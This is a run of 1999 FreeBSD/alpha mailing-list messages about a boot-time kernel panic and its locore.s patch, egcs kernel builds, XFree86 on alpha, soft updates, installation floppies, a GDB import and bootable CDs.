> >  a1	= 0x1
> >  a2	= 0x0
> >  pc	= 0xfffffc000036490c
> >  ra	= 0xfffffc000036a948
> >  curproc = 0
> > 
> > ddbprinttrap from 0xffffffc000036490c
> > ddbprinttrap(0x120, 0x1, 0x0,0x2)
> > panic: trap
> > panic
> > Stopped at Debugger+0x2c: ldq ra,0(sp) <0xfffffc000052baf0>
> > <ra=0xfffffc000042f420,sp=0xfffffc000052baf0>
> 
> It is normal today. This breakage caused by the commit from 
> 1999/04/07 18:04 PDT. It is not de0 or any other hardware related. 
> It should be fixed soon, perhaps tomorrow.
> 
> Dima
> 
> 

/Khaled, Telia Network Services

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Well, I did a make world last night of yesterdays cvsup to -current and 
egcs did what looks like a good job, meaning it finished. I am going to do
the kernel compile and install when I get home, I know this is kinda a dumb
time to ask, but, egcs does work compiling the kernel right?

William


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> Well, I did a make world last night of yesterdays cvsup to -current and 
> egcs did what looks like a good job, meaning it finished. I am going to do
> the kernel compile and install when I get home, I know this is kinda a dumb
> time to ask, but, egcs does work compiling the kernel right?

No, it's a fair question to ask, and last I checked (the other day), it
did.



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On Thu, 29 Apr 1999, William wrote:

# Well, I did a make world last night of yesterdays cvsup to -current and 
# egcs did what looks like a good job, meaning it finished. I am going to do
# the kernel compile and install when I get home, I know this is kinda a dumb
# time to ask, but, egcs does work compiling the kernel right?

I have an all egcs world on my alpha box including kernel and
it has made it through two complete builds of the ports tree
and it is working on its third pass right now.  I've had zero
problems with it (thanks to Matt's NFS fixes) until the vtable
thunks were turned off in eg++.  Stay tuned to -current for
the gory details.

-steve



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today's config, today's kernel sources...

isp1: Loop ID 124, Target/Initiator role
     Node Address 0x2 WWN 0x10030800208262f3
     Hard Address 0x2 WWN 0x10030800208262f3
     Master State=Logged In, Slave State=Port Unavailable

fatal kernel trap:

    trap entry = 0x2 (memory management fault)
    a0         = 0x120
    a1         = 0x1
    a2         = 0x0
    pc         = 0xfffffc0000375f2c
    ra         = 0xfffffc000037bf68
    curproc    = 0

ddbprinttrap from 0xfffffc0000375f2c
ddbprinttrap(0x120, 0x1, 0x0, 0x2)
panic: trap
panic
Stopped at      Debugger+0x2c:  ldq     ra,0(sp) <0xfffffc0000589af0>
<ra=0xfffffc000048f640,sp=0xfffffc0000589af0>
db> t
Debugger() at Debugger+0x2c
panic() at panic+0xf4
trap() at trap+0x5cc
XentMM() at XentMM+0x20
run_interrupt_driven_config_hooks() at
run_interrupt_driven_config_hooks+0x68
(null)() at 0
db> 0
?
db> x/i 0xfffffc0000375f2c
tsleep+0x4c:    ldl     t1,0x120(s0)
db> x/i 0xfffffc000037bf68
run_interrupt_driven_config_hooks+0x68: ldah    gp,0x19(ra)


Anyone working on this or should I just fix it if I can ?




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On Thu, 29 Apr 1999, Khaled Daham wrote:

> 
> Ok does it suffice to update kernel sources and build a kernel or will I
> have to make world again ?

It should be sufficient to build just a kernel.  I haven't seen the fix
happen yet though (I might have missed it).

--
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On Thu, 29 Apr 1999, Matthew Jacob wrote:

> 
> today's config, today's kernel sources...

This is known about. I think Bruce was going to fix it but this band-aid
might help (not tested):

Index: locore.s
===================================================================
RCS file: /home/ncvs/src/sys/alpha/alpha/locore.s,v
retrieving revision 1.6
diff -u -r1.6 locore.s
--- locore.s	1998/11/28 09:55:15	1.6
+++ locore.s	1999/04/28 20:33:01
@@ -110,6 +110,7 @@
 	 * Switch to proc0's PCB, which is at U_PCB off of proc0paddr.
 	 */
 	lda	t0,proc0			/* get phys addr of pcb */
+	stq	t0,curproc			/* initialise curproc */
 	ldq	a0,P_MD_PCBPADDR(t0)
 	SWITCH_CONTEXT
 

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Yup, that seemed to help. thanks.


On Thu, 29 Apr 1999, Doug Rabson wrote:

> On Thu, 29 Apr 1999, Matthew Jacob wrote:
> 
> > 
> > today's config, today's kernel sources...
> 
> This is known about. I think Bruce was going to fix it but this band-aid
> might help (not tested):
> 
> Index: locore.s
> ===================================================================
> RCS file: /home/ncvs/src/sys/alpha/alpha/locore.s,v
> retrieving revision 1.6
> diff -u -r1.6 locore.s
> --- locore.s	1998/11/28 09:55:15	1.6
> +++ locore.s	1999/04/28 20:33:01
> @@ -110,6 +110,7 @@
>  	 * Switch to proc0's PCB, which is at U_PCB off of proc0paddr.
>  	 */
>  	lda	t0,proc0			/* get phys addr of pcb */
> +	stq	t0,curproc			/* initialise curproc */
>  	ldq	a0,P_MD_PCBPADDR(t0)
>  	SWITCH_CONTEXT
>  
> 
> --
> Doug Rabson				Mail:  dfr@nlsystems.com
> Nonlinear Systems Ltd.			Phone: +44 181 442 9037
> 
> 



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I just finished makeing a new kernel today after a successfull make world
with -current source cvsupped today.

When I went to reboot I get this:
---------------------------

fatal kernel trap:

	trap entry = 0x2 (memory management fault)
	a0	     = 0x120
	a1         = 0x1
	a2         = 0x0
	pc         = 0xfffffc0000370aec
	ra         = 0xfffffc0000376b28
	curproc    = 0

ddbprinttrap from 0xfffffc0000370aec
ddbprinttrap(0x120, 0x1, 0x0, 0x2)
panic: trap
panic
Stopped at		Debugger+0x2c:   ldq     ra,0(sp) <0xfffffc00005d9af0> <ra=0xff
fffc00004ab060,sp=0xffffc00005d9af0>
db>
--------------------------------------------------------------

Any ideas for me on this?

Thanks,

William



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Try this patch from Doug- it worked for me:

From dfr@nlsystems.com Thu Apr 29 13:41:36 1999
Date: Thu, 29 Apr 1999 20:28:53 +0100 (BST)
From: Doug Rabson <dfr@nlsystems.com>
To: Matthew Jacob <mjacob@feral.com>
Cc: freebsd-alpha@freebsd.org
Subject: Re: alpha -current kernel blowup...

On Thu, 29 Apr 1999, Matthew Jacob wrote:

> 
> today's config, today's kernel sources...

This is known about. I think Bruce was going to fix it but this band-aid
might help (not tested):

Index: locore.s
===================================================================
RCS file: /home/ncvs/src/sys/alpha/alpha/locore.s,v
retrieving revision 1.6
diff -u -r1.6 locore.s
--- locore.s	1998/11/28 09:55:15	1.6
+++ locore.s	1999/04/28 20:33:01
@@ -110,6 +110,7 @@
 	 * Switch to proc0's PCB, which is at U_PCB off of proc0paddr.
 	 */
 	lda	t0,proc0			/* get phys addr of pcb */
+	stq	t0,curproc			/* initialise curproc */
 	ldq	a0,P_MD_PCBPADDR(t0)
 	SWITCH_CONTEXT
 

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> fatal kernel trap:
> 
> 	trap entry = 0x2 (memory management fault)
> 	a0	     = 0x120
> 	a1         = 0x1
> 	a2         = 0x0
> 	pc         = 0xfffffc0000370aec
> 	ra         = 0xfffffc0000376b28
> 	curproc    = 0

This is fixed in init_main.c 1.116.

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OK, I applied this patch and now when I go to compile, I dont get the option
to compile any VGA servers?? It starts right out asking:

Do you want to build the Mono server [YES]
"	"	"	"	 S3 Server	 [YES]
"	"	"	"	 S3V Server  [YES]
"	"	"	"	 Mach16 Server [YES]
"	"	"	"	 P9000 server [YES]
"	"	"	"	 I128 server [YES]
"	"	"	"	 GLINT Server [YES]
"	"	"	"	 TGA Server [YES]

default server to instal. [none]

------------------------------------------

I answeder No to everything except what server to install, and I put SVGA in
there.

Well, It compiled and installed everything...sorta...I have no Xsetup,
Xconfigurator....

Any ideas appreciated.

I should mention that I am running 4.0 -current from 2 days ago.

William

> -----Original Message-----
> From: Steve Price [mailto:sprice@hiwaay.net]
> Sent: Tuesday, April 27, 1999 10:05 AM
> To: William Woods
> Cc: FreeBSD Alpha
> Subject: Re: Compiling XFree on an alpha..
>
>
> http://www.freebsd.org/~dfr
>
> On Tue, 27 Apr 1999, William Woods wrote:
>
> # Someone here pointed out to me a web page with a patch that
> makes compiling
> # Xfree on an alpha possible....would you mind sending that again....
> #
> # William
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On Fri, 30 Apr 1999, William Woods wrote:

# OK, I applied this patch and now when I go to compile, I dont get the option
# to compile any VGA servers?? It starts right out asking:
# 
# Do you want to build the Mono server [YES]
# "	"	"	"	 S3 Server	 [YES]
# "	"	"	"	 S3V Server  [YES]
# "	"	"	"	 Mach16 Server [YES]
# "	"	"	"	 P9000 server [YES]
# "	"	"	"	 I128 server [YES]
# "	"	"	"	 GLINT Server [YES]
# "	"	"	"	 TGA Server [YES]
# 
# default server to instal. [none]
# 
# ------------------------------------------
# 
# I answeder No to everything except what server to install, and I put SVGA in
# there.
# 
# Well, It compiled and installed everything...sorta...I have no Xsetup,
# Xconfigurator....

:)  You've run into the catch-22 of building parts of X.  In
order to get Xsetup and friends you need tcl/tk and in order
to get them you need X which won't... you get the idea.  If
you build X again after installing any version of tcl/tk you
will get the missing files.  Or you can munge around in the
X source and find the right bits to recompile.

# Any ideas appreciated.
# 
# I should mention that I am running 4.0 -current from 2 days ago.
# 
# William



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On Fri, 30 Apr 1999, Steve Price wrote:

> On Fri, 30 Apr 1999, William Woods wrote:
> 
> # OK, I applied this patch and now when I go to compile, I dont get the option
> # to compile any VGA servers?? It starts right out asking:
> # 
> # Do you want to build the Mono server [YES]
> # "	"	"	"	 S3 Server	 [YES]
> # "	"	"	"	 S3V Server  [YES]
> # "	"	"	"	 Mach16 Server [YES]
> # "	"	"	"	 P9000 server [YES]
> # "	"	"	"	 I128 server [YES]
> # "	"	"	"	 GLINT Server [YES]
> # "	"	"	"	 TGA Server [YES]
> # 
> # default server to instal. [none]
> # 
> # ------------------------------------------
> # 
> # I answeder No to everything except what server to install, and I put SVGA in
> # there.
> # 
> # Well, It compiled and installed everything...sorta...I have no Xsetup,
> # Xconfigurator....
> 
> :)  You've run into the catch-22 of building parts of X.  In
> order to get Xsetup and friends you need tcl/tk and in order
> to get them you need X which won't... you get the idea.  If
> you build X again after installing any version of tcl/tk you
> will get the missing files.  Or you can munge around in the
> X source and find the right bits to recompile.

Even after that you have the larger problem of XF86_VGA16 not being
supported on the alpha since it is packed full of i386 assembler :-(.

I wimped out and copied a config file from an i386 box..

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You realise this really sucks.......

I would really probably be pushing things to ask if there were precompiled
packages avaliable for this eh......

William

> -----Original Message-----
> From: Steve Price [mailto:sprice@hiwaay.net]
> Sent: Friday, April 30, 1999 2:14 PM
> To: William Woods
> Cc: FreeBSD Alpha
> Subject: RE: Compiling XFree on an alpha..
>
>
> On Fri, 30 Apr 1999, William Woods wrote:
>
> # OK, I applied this patch and now when I go to compile, I dont
> get the option
> # to compile any VGA servers?? It starts right out asking:
> #
> # Do you want to build the Mono server [YES]
> # "	"	"	"	 S3 Server	 [YES]
> # "	"	"	"	 S3V Server  [YES]
> # "	"	"	"	 Mach16 Server [YES]
> # "	"	"	"	 P9000 server [YES]
> # "	"	"	"	 I128 server [YES]
> # "	"	"	"	 GLINT Server [YES]
> # "	"	"	"	 TGA Server [YES]
> #
> # default server to instal. [none]
> #
> # ------------------------------------------
> #
> # I answeder No to everything except what server to install, and
> I put SVGA in
> # there.
> #
> # Well, It compiled and installed everything...sorta...I have no Xsetup,
> # Xconfigurator....
>
> :)  You've run into the catch-22 of building parts of X.  In
> order to get Xsetup and friends you need tcl/tk and in order
> to get them you need X which won't... you get the idea.  If
> you build X again after installing any version of tcl/tk you
> will get the missing files.  Or you can munge around in the
> X source and find the right bits to recompile.
>
> # Any ideas appreciated.
> #
> # I should mention that I am running 4.0 -current from 2 days ago.
> #
> # William
>



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> You realise this really sucks.......
> 
> I would really probably be pushing things to ask if there were precompiled
> packages avaliable for this eh......

You should, as a general rule, look before asking questions like this, 
it'll save you a lot of embarrassment. 8)

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On Fri, 30 Apr 1999, William Woods wrote:

# You realise this really sucks.......
# 
# I would really probably be pushing things to ask if there were precompiled
# packages avaliable for this eh......

There are already packages for the tcl/tk ports.  The XFree86
port is marked NO_PACKAGE so that doesn't exist, though I do
have one built that I use for doing package builds but it only
has the TGA server.

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At Fri, 30 Apr 1999 19:47:52 -0500 (CDT),
Steve Price <sprice@hiwaay.net> wrote:
> 
> On Fri, 30 Apr 1999, William Woods wrote:
> 
> # You realise this really sucks.......
> # 
> # I would really probably be pushing things to ask if there were precompiled
> # packages avaliable for this eh......
> 
> There are already packages for the tcl/tk ports.  The XFree86
> port is marked NO_PACKAGE so that doesn't exist, though I do
> have one built that I use for doing package builds but it only
> has the TGA server.
> 
> -steve

I have some Xtt(X True Type) servers compiled on alpha.
You can get them from
http://www.sat.t.u-tokyo.ac.jp/~simokawa/alpha/packages/x11/

I appreciate it if someone would test them, because my machine doesn't
have any video card any more.

You may be interested in error logs on alpha.
http://www.sat.t.u-tokyo.ac.jp/~simokawa/alpha/logs/

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Someone out there wouldent happen to have a copy of these patches would
they. I have searched the mailing list and can't seem to locate em.

William

> Somone posted patches to this list a while back that enabled the
> "fast interrupt" stuff for the alpha.  It got broken when the
> bus space stuff went into -current.  I think it hasn't been unbroken.
>
> In my experience, the patches worked fine.
>
>
> 					Terry Lambert
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Ok....anybody here running softupdates on there Alpha? Idf so, what are your
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William Woods writes:
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> Ok....anybody here running softupdates on there Alpha? Idf so, what are your
> experiances?

Works okay for me.

> 
> William
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On Sat, 1 May 1999, Dima Ruban wrote:

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> > Ok....anybody here running softupdates on there Alpha? Idf so, what are your
> > experiances?
> 
> Works okay for me.

I've been running softupdates continuously on FreeBSD/alpha for a long
time (June last year? sometime shortly after I got the thing working on
real hardware).

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On Sat, 01 May 1999 09:42:10 PDT, "William Woods" writes:
>Ok....anybody here running softupdates on there Alpha? Idf so, what are your
>experiances?
>

I've been running with soft-updates on:
/dev/da0a on / (local, soft-updates, writes: sync 5 async 14609)
mfs:29 on /tmp (asynchronous, local, writes: sync 14 async 546)
/dev/da0e on /usr (local, soft-updates, writes: sync 23 async 40410)
/dev/da0f on /var (local, soft-updates, writes: sync 254 async 27311)

for months now, add to the question.... is there any reason why
I shouldn't be running with soft-updates enabled on / ? 

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On Sat, May 01, 1999 at 03:14:56PM -0700, Tom wrote:
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> I've been running with soft-updates on:
> /dev/da0a on / (local, soft-updates, writes: sync 5 async 14609)
> mfs:29 on /tmp (asynchronous, local, writes: sync 14 async 546)
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> 
> for months now, add to the question.... is there any reason why
> I shouldn't be running with soft-updates enabled on / ? 
> 

Not to mention on /tmp (the way you have it set up).
Do softupdates provide any performance benefit on MFS filesystems?

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On Sat, 01 May 1999 20:28:27 PDT, "Brian O'Shea" writes:

>Not to mention on /tmp (the way you have it set up).
>Do softupdates provide any performance benefit on MFS filesystems?
> mfs:29 on /tmp (asynchronous, local, writes: sync 14 async 546)

Hmm, I don't think I set tmp to do soft-updates, I think it mounts async by default.
I just mount tmp on my swap partition since it's uh,  temp :-)

But who knows, I could have done it inadvertently when I brute-forced tunefs 
in /etc/rc. 

Can you actually do softupdates on the swap partition? 


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> Hmm, I don't think I set tmp to do soft-updates, I think it mounts async by default.
> I just mount tmp on my swap partition since it's uh,  temp :-)
> 

Oops, right you are.  My mistake.
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Hmmm...I havent been able to find XF86Setup anywhere I had a friend running
FreebSD on Linux, and thinking it was a script, I borrowed his and useing
pico to look at it it is  a binary.....

So, I assume a couple things here:

VGA server does not work on Alpha yet
XF86Setup uses VGA server, therefore, is not avaliable on Alpha yet.


BTW, I got your config file...I just need to determine what to tweak to make
it work for me.

William

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>
> On Fri, 30 Apr 1999, Bill Woods wrote:
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> > Ahhh...... I see.....Setup ??.you dont happen to have that I
> can "borrow"
> > do ya?
> > and maby a bin of XF86Setup?
> >
> > William
>
> I've attached a config file for XFree86 on a Matrox Millenium II (which
> uses the XF86_SVGA server). You can pick up XF86Setup (which is a tcl
> script) from any XFree86 mirror.
>
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Hello,

I am just trying to install Free BSD 3.1 on a Multia which runs NT at the
moment. As recommended I downloaded the kern.flp and the the mfsroot.flp
floppy images to my Linux box and did a dd if=image of=/dev/fd0 the system
reports that 2880 records are written to the disk.

I also tried the dd with of=/dev/rfd0 on my FreeBSD 3.1 Intel box.

I upgraded the firmware to 3.8 and started up with the srm ( Digital Unix )
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When I insert my kern floppy and do I boot dva0 which is my floppy drive, it
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The error says:
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block 0 of dva0.0.0.0.1 is not a valid boot block
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On Sun, 2 May 1999, Kai Schmidt wrote:

> Hello,
> 
> I am just trying to install Free BSD 3.1 on a Multia which runs NT at the
> moment. As recommended I downloaded the kern.flp and the the mfsroot.flp
> floppy images to my Linux box and did a dd if=image of=/dev/fd0 the system
> reports that 2880 records are written to the disk.
> 
> I also tried the dd with of=/dev/rfd0 on my FreeBSD 3.1 Intel box.
> 
> I upgraded the firmware to 3.8 and started up with the srm ( Digital Unix )
> console.
> 
> When I insert my kern floppy and do I boot dva0 which is my floppy drive, it
> complains about a bootstrap error.
> 
> The error says:
> (boot dva0.0.0.0.1 -flags 0)
> block 0 of dva0.0.0.0.1 is not a valid boot block
> bootstrap failure
> 
> Any hints?

Exactly where did you download these boot floppies from? 

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On 02.05.99, 13:39:04 Doug Rabson wrote:

Hi Doug,

>> When I insert my kern floppy and do I boot dva0 which is my floppy drive,
>> it
>> complains about a bootstrap error.
>> The error says:
>> (boot dva0.0.0.0.1 -flags 0)
>> block 0 of dva0.0.0.0.1 is not a valid boot block
>> bootstrap failure
>> Any hints?
> Exactly where did you download these boot floppies from?

Hmmh, I can't remember exactly but it was either from ftp.freebsd.org or
from ftp.de.freebsd.org and there from the stable branch.

I read that the floppies on the CD are broken.


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On Sun, 2 May 1999, Kai Schmidt wrote:

> On 02.05.99, 13:39:04 Doug Rabson wrote:
> 
> Hi Doug,
> 
> >> When I insert my kern floppy and do I boot dva0 which is my floppy drive,
> >> it
> >> complains about a bootstrap error.
> >> The error says:
> >> (boot dva0.0.0.0.1 -flags 0)
> >> block 0 of dva0.0.0.0.1 is not a valid boot block
> >> bootstrap failure
> >> Any hints?
> > Exactly where did you download these boot floppies from?
> 
> Hmmh, I can't remember exactly but it was either from ftp.freebsd.org or
> from ftp.de.freebsd.org and there from the stable branch.
> 
> I read that the floppies on the CD are broken.

That is true. I need to know which directory on the ftp site you
downloaded them from. The ones from snapshots/alpha/4.0-19990413-CURRENT
should work fairly well.

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On 02.05.99, 14:57:17 Doug Rabson wrote:

Hi Doug,

>> Hmmh, I can't remember exactly but it was either from ftp.freebsd.org or
>> from ftp.de.freebsd.org and there from the stable branch.
>>
>> I read that the floppies on the CD are broken.
> That is true. I need to know which directory on the ftp site you
> downloaded them from. The ones from snapshots/alpha/4.0-19990413-CURRENT
> should work fairly well.

I took, the 3.1 disks, ok, I will try the 4.0 and does it install also
version 3.1 or do I have to take the 4.0 branch?



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On Sun, 2 May 1999, Kai Schmidt wrote:

> On 02.05.99, 14:57:17 Doug Rabson wrote:
> 
> Hi Doug,
> 
> >> Hmmh, I can't remember exactly but it was either from ftp.freebsd.org or
> >> from ftp.de.freebsd.org and there from the stable branch.
> >>
> >> I read that the floppies on the CD are broken.
> > That is true. I need to know which directory on the ftp site you
> > downloaded them from. The ones from snapshots/alpha/4.0-19990413-CURRENT
> > should work fairly well.
> 
> I took, the 3.1 disks, ok, I will try the 4.0 and does it install also
> version 3.1 or do I have to take the 4.0 branch?

You should be able to install the 3.1 CD with 4.0 floppies. Go to the
options screen and change the release to '3.1-RELEASE'.

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I have just finished importing GDB-4.18 into FreeBSD-current. At the same
time, I made the thing work properly in FreeBSD/alpha. Unfortunately due
to a technical hitch with CVS which I'm hoping can be cleared up by
someone who understands CVS better than me, the alpha version is missing
exactly one file, alpha-tdep.c. People who would like to try gdb on the
alpha today should copy http://www.freebsd.org/~dfr/alpha-tdep.c to
src/contrib/gdb/gdb and tweak the Makefile in src/gnu/usr.bin/binutils to
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I have not tested any kind of postmortem debugging yet (user or kernel).
Normal user coredumps may work but kernel coredumps will certainly not
work. I'm hoping that Andrew Gallatin who made kernel coredumps work on
the alpha might tackle this but if not, I will have a go at it eventually.

Have fun with it, break it and send me the fixes :-) Hopefully it should
be part of the main build very soon.

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On 02.05.99, 15:20:17 Doug Rabson wrote:

Hi Doug,

>> I took, the 3.1 disks, ok, I will try the 4.0 and does it install also
>> version 3.1 or do I have to take the 4.0 branch?
> You should be able to install the 3.1 CD with 4.0 floppies. Go to the
> options screen and change the release to '3.1-RELEASE'.

I downloaded the snapshots floppies and was able to get the system booting
and got the sysinstall program running on the serial console.

Thanks a lot!

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On Sun, 2 May 1999, Doug Rabson wrote:

> I have just finished importing GDB-4.18 into FreeBSD-current. At the same
> time, I made the thing work properly in FreeBSD/alpha. Unfortunately due
> to a technical hitch with CVS which I'm hoping can be cleared up by
> someone who understands CVS better than me, the alpha version is missing
> exactly one file, alpha-tdep.c. People who would like to try gdb on the
> alpha today should copy http://www.freebsd.org/~dfr/alpha-tdep.c to
> src/contrib/gdb/gdb and tweak the Makefile in src/gnu/usr.bin/binutils to
> enable the build.
> 
> I have not tested any kind of postmortem debugging yet (user or kernel).
> Normal user coredumps may work but kernel coredumps will certainly not
> work. I'm hoping that Andrew Gallatin who made kernel coredumps work on
> the alpha might tackle this but if not, I will have a go at it eventually.
> 
> Have fun with it, break it and send me the fixes :-) Hopefully it should
> be part of the main build very soon.

Like now, in fact..

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On Sat, 1 May 1999, William Woods wrote:

> Hmmm...I havent been able to find XF86Setup anywhere I had a friend running
> FreebSD on Linux, and thinking it was a script, I borrowed his and useing
> pico to look at it it is  a binary.....
> 
> So, I assume a couple things here:
> 
> VGA server does not work on Alpha yet
> XF86Setup uses VGA server, therefore, is not avaliable on Alpha yet.
> 
> 
> BTW, I got your config file...I just need to determine what to tweak to make
> it work for me.

It ought to work unchanged if you have the XF86_SVGA server.

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Well, I have the SVGA server but I go to use it and the screen is all
messed up, I think it is something to do with the refresh rate, but I am
not sure.

William

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> To: William Woods <wwoods@cybcon.com>
> Cc: FreeBSD Alpha <freebsd-alpha@freebsd.org>
> Subject: RE: Compiling XFree on an alpha..
> Date: Sunday, May 02, 1999 11:05 AM
> 
> On Sat, 1 May 1999, William Woods wrote:
> 
> > Hmmm...I havent been able to find XF86Setup anywhere I had a friend
running
> > FreebSD on Linux, and thinking it was a script, I borrowed his and
useing
> > pico to look at it it is  a binary.....
> > 
> > So, I assume a couple things here:
> > 
> > VGA server does not work on Alpha yet
> > XF86Setup uses VGA server, therefore, is not avaliable on Alpha yet.
> > 
> > 
> > BTW, I got your config file...I just need to determine what to tweak to
make
> > it work for me.
> 
> It ought to work unchanged if you have the XF86_SVGA server.
> 
> --
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On Sun, 2 May 1999, William wrote:

> Well, I have the SVGA server but I go to use it and the screen is all
> messed up, I think it is something to do with the refresh rate, but I am
> not sure.

Try fiddling with the monitor settings, perhaps change the default mode.

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Yea, I am gonna look at that when I get home. It is getting to the poing
that there are so many things not working on the Alpha, XF86Setup, silo
overflows, no netscape from what I hear......I am debating either linux or
back to NT....anyway...thanks.

William

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> To: William <wwoods@cybcon.com>
> Cc: FreeBSD Alpha <freebsd-alpha@freebsd.org>
> Subject: Re: Compiling XFree on an alpha..
> Date: Sunday, May 02, 1999 11:47 AM
> 
> On Sun, 2 May 1999, William wrote:
> 
> > Well, I have the SVGA server but I go to use it and the screen is all
> > messed up, I think it is something to do with the refresh rate, but I
am
> > not sure.
> 
> Try fiddling with the monitor settings, perhaps change the default mode.
> 
> --
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On Sun, 2 May 1999, William wrote:

> Yea, I am gonna look at that when I get home. It is getting to the poing
> that there are so many things not working on the Alpha, XF86Setup, silo
> overflows, no netscape from what I hear......I am debating either linux or
> back to NT....anyway...thanks.

Fair enough. I don't think XF86Setup and netscape work with Linux/alpha
either...

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On Sunday,  2 May 1999 at 15:20:17 +0100, Doug Rabson wrote:
> On Sun, 2 May 1999, Kai Schmidt wrote:
>
>> On 02.05.99, 14:57:17 Doug Rabson wrote:
>>
>> Hi Doug,
>>
>>>> Hmmh, I can't remember exactly but it was either from ftp.freebsd.org or
>>>> from ftp.de.freebsd.org and there from the stable branch.
>>>>
>>>> I read that the floppies on the CD are broken.
>>> That is true. I need to know which directory on the ftp site you
>>> downloaded them from. The ones from snapshots/alpha/4.0-19990413-CURRENT
>>> should work fairly well.
>>
>> I took, the 3.1 disks, ok, I will try the 4.0 and does it install also
>> version 3.1 or do I have to take the 4.0 branch?
>
> You should be able to install the 3.1 CD with 4.0 floppies. Go to the
> options screen and change the release to '3.1-RELEASE'.

Where is there an alpha kernel on the 3.1 CDs?

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On Sun, May 02, 1999 at 08:32:47PM +0100, Doug Rabson wrote:
> Fair enough. I don't think XF86Setup and netscape work with Linux/alpha
> either...

I do not know for XF86Setup (my first XFree installation was back in
the days where XF86Setup did not exist, and the Xconfigure thing would
not work, therefore I write XF86Config by hand) but you may run the OSF
Netscape on Linux/Alpha. I have a fully functional Communicator 4.51
and it is stable. This requires the OSF shared libs, though (or maybe
somebody knows how to produce a static binary from a dynamic one ?).

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On Mon, 3 May 1999, Greg Lehey wrote:

> On Sunday,  2 May 1999 at 15:20:17 +0100, Doug Rabson wrote:
> > On Sun, 2 May 1999, Kai Schmidt wrote:
> >
> >> On 02.05.99, 14:57:17 Doug Rabson wrote:
> >>
> >> Hi Doug,
> >>
> >>>> Hmmh, I can't remember exactly but it was either from ftp.freebsd.org or
> >>>> from ftp.de.freebsd.org and there from the stable branch.
> >>>>
> >>>> I read that the floppies on the CD are broken.
> >>> That is true. I need to know which directory on the ftp site you
> >>> downloaded them from. The ones from snapshots/alpha/4.0-19990413-CURRENT
> >>> should work fairly well.
> >>
> >> I took, the 3.1 disks, ok, I will try the 4.0 and does it install also
> >> version 3.1 or do I have to take the 4.0 branch?
> >
> > You should be able to install the 3.1 CD with 4.0 floppies. Go to the
> > options screen and change the release to '3.1-RELEASE'.
> 
> Where is there an alpha kernel on the 3.1 CDs?

Its the second CD I think.

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Doug Rabson wrote:
> On Mon, 3 May 1999, Greg Lehey wrote:
> > Where is there an alpha kernel on the 3.1 CDs?
> 
> Its the second CD I think.

Alpha really should have it's own set of CDs. Stuffing a few alpha
bits in what are mostly i386 CDs continues to trip people up.

Installation floppies should be optional, with a bootable CD preferred,
IMHO.

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On Mon, 3 May 1999, John Birrell wrote:

> Doug Rabson wrote:
> > On Mon, 3 May 1999, Greg Lehey wrote:
> > > Where is there an alpha kernel on the 3.1 CDs?
> > 
> > Its the second CD I think.
> 
> Alpha really should have it's own set of CDs. Stuffing a few alpha
> bits in what are mostly i386 CDs continues to trip people up.
> 
> Installation floppies should be optional, with a bootable CD preferred,
> IMHO.

It would be really nice to have a bootable CD but I don't know exactly
what is required for the alpha (I don't have a CD writer either..).  I
think NetBSD can do this so it shouldn't be hard to track down what is
needed.

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On 03.05.99, 18:45:49 John Birrell wrote:

Hi John,

>> Its the second CD I think.
> Alpha really should have it's own set of CDs. Stuffing a few alpha
> bits in what are mostly i386 CDs continues to trip people up.

This might be a quite good idea, but I am quite sure that this will happen,
when the Alpha version grows further.

But to be honest, despite of taking the wrong floppies, I didn't face any
problems, usually I tend to install ports from the ftp ports server.


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Kai Schmidt wrote:
> On 03.05.99, 18:45:49 John Birrell wrote:
> 
> Hi John,
> 
> >> Its the second CD I think.
> > Alpha really should have it's own set of CDs. Stuffing a few alpha
> > bits in what are mostly i386 CDs continues to trip people up.
> 
> This might be a quite good idea, but I am quite sure that this will happen,
> when the Alpha version grows further.

I suspect that it might grow further/faster if some of the rough edges
were removed. One thing that has always differentiated FreeBSD is a neat
install. Alpha needs work to live up to that.

> 
> But to be honest, despite of taking the wrong floppies, I didn't face any
> problems, usually I tend to install ports from the ftp ports server.

Glad to hear you were successful in the end.

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If we really feel that the Alpha is ready to stand on its own CD set,
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considerable number of packages available for it..  Making the CD
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Jordan K. Hubbard wrote:
> If we really feel that the Alpha is ready to stand on its own CD set,
> I guess we could fork it off at this point.  There are already a
> considerable number of packages available for it..  Making the CD
> bootable, however, still won't be an option until somebody shows
> us how to do it. :)

OK, well let's aim to make 4.0-current go in that direction.

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On Mon, 3 May 1999 09:44:04 +0100 (BST), Doug Rabson <dfr@nlsystems.com> said:
> It would be really nice to have a bootable CD but I don't know exactly
> what is required for the alpha (I don't have a CD writer either..).  I
> think NetBSD can do this so it shouldn't be hard to track down what is
> needed.

I don't now about official specs, but in Linux/Alpha the 'isomarkboot'
program contained in the 'aboot' package allows it to make SRM
bootable CDs. It allows to mark any file in an existing ISO9660 image as
the program to boot. In Linux this is usually used to load the 'aboot'
loader from CD. I believe there's nothing Linux specific to it. 

Beware, the program isn't 32 bit clean, i.e. it assumes sizeof(long)=8.

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On 3 May 1999, Martin Ostermann wrote:

> On Mon, 3 May 1999 09:44:04 +0100 (BST), Doug Rabson <dfr@nlsystems.com> said:
> > It would be really nice to have a bootable CD but I don't know exactly
> > what is required for the alpha (I don't have a CD writer either..).  I
> > think NetBSD can do this so it shouldn't be hard to track down what is
> > needed.
> 
> I don't now about official specs, but in Linux/Alpha the 'isomarkboot'
> program contained in the 'aboot' package allows it to make SRM
> bootable CDs. It allows to mark any file in an existing ISO9660 image as
> the program to boot. In Linux this is usually used to load the 'aboot'
> loader from CD. I believe there's nothing Linux specific to it. 
> 
> Beware, the program isn't 32 bit clean, i.e. it assumes sizeof(long)=8.

It sounds pretty easy to do but like I said, I don't have a CD writer. If
one should unexpectedly appear on my doorstep, I could make it work I
expect.

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On 03.05.99, 03:59:16 Jordan K. Hubbard wrote:

Hi Jordan,

> considerable number of packages available for it..  Making the CD
> bootable, however, still won't be an option until somebody shows
> us how to do it. :)

After several installs of Alpha boxes with Free BSD, Linux and DU I believe
that this is a slighly difficult task. Normaly Alphas come up in the console
mode which is either the srm or arc console.

I have never seen an Alpha trying to boot from floppy or cdrom by itself (
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On Mon, 3 May 1999 13:52:33 +0100 (BST), Doug Rabson <dfr@nlsystems.com> said:
>> I don't now about official specs, but in Linux/Alpha the 'isomarkboot'
>> program contained in the 'aboot' package allows it to make SRM
>> bootable CDs. It allows to mark any file in an existing ISO9660 image as
>> the program to boot. In Linux this is usually used to load the 'aboot'
>> loader from CD. I believe there's nothing Linux specific to it. 
>> 
>> Beware, the program isn't 32 bit clean, i.e. it assumes sizeof(long)=8.

> It sounds pretty easy to do but like I said, I don't have a CD writer. If
> one should unexpectedly appear on my doorstep, I could make it work I
> expect.

